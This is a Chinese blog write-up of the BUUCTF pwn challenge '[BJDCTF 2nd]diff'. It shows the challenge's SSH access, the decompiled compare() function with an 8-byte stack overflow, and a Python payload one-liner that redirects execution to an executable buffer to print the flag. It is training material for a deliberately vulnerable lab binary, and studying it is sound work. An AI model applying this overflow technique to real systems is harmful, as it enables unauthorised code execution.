CTF-Pwn-[BJDCTF 2nd]diff
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Pwn类,[BJDCTF 2nd]diff
使用ssh远程连接Username: ctf Password: guest
思路
远程连接
ssh -p 29857 ctf@node3.buuoj.cn
可以看到里面有一个文件diff,我们把它下载下来这里使用ssh协议的scp
scp -P 28708 ctf@node3.buuoj.cn:/home/ctf/diff /home/tanglei/Desktop/ctf/
接下来我们来分析这个源文件
然后使用ida32位打开它
注意到compare函数里面有个漏洞
int __cdecl compare(int a1, int fd)
{
char v2; // al
int v4; // [esp+0h] [ebp-80h]
unsigned int i; // [esp+4h] [ebp-7Ch]
char addr[120]; // [esp+8h] [ebp-78h]
v4 = 0;
JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
{
v2 = buf1[i];
if ( v2 != addr[i] )
return v4 + 1;
if ( v2 == 10 )
++v4;
}
return 0;
}
里面addr
长度为120,read
读了128字节,很明显的栈溢出,有8个字节的溢出,buf1有可执行的权限,我们只要获取到buf1的地址并覆盖它,即可getshell
payload
看到网上的payload时这样写的
python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2
这个里面有python的命令,把payload写进第二个文件,就可以把flag爆出来,
执行./diff flag /tmp/flag2
完整命令
cd /tmp
/tmp$ python -c "print 'a'*120+'\x5e\x91\x04\x08\x5e\x91\x04\x08'" >flag2
/tmp$ cd ~
./diff flag /tmp/flag2
测试
已经找到flag,不过好像少了个f,补上就好
感谢
BUUCTF
以及勤劳的自己
关注公众号: 归子莫,获取更多的资料,还有更长的学习计划
来源:oschina
链接:https://my.oschina.net/u/4293376/blog/4270114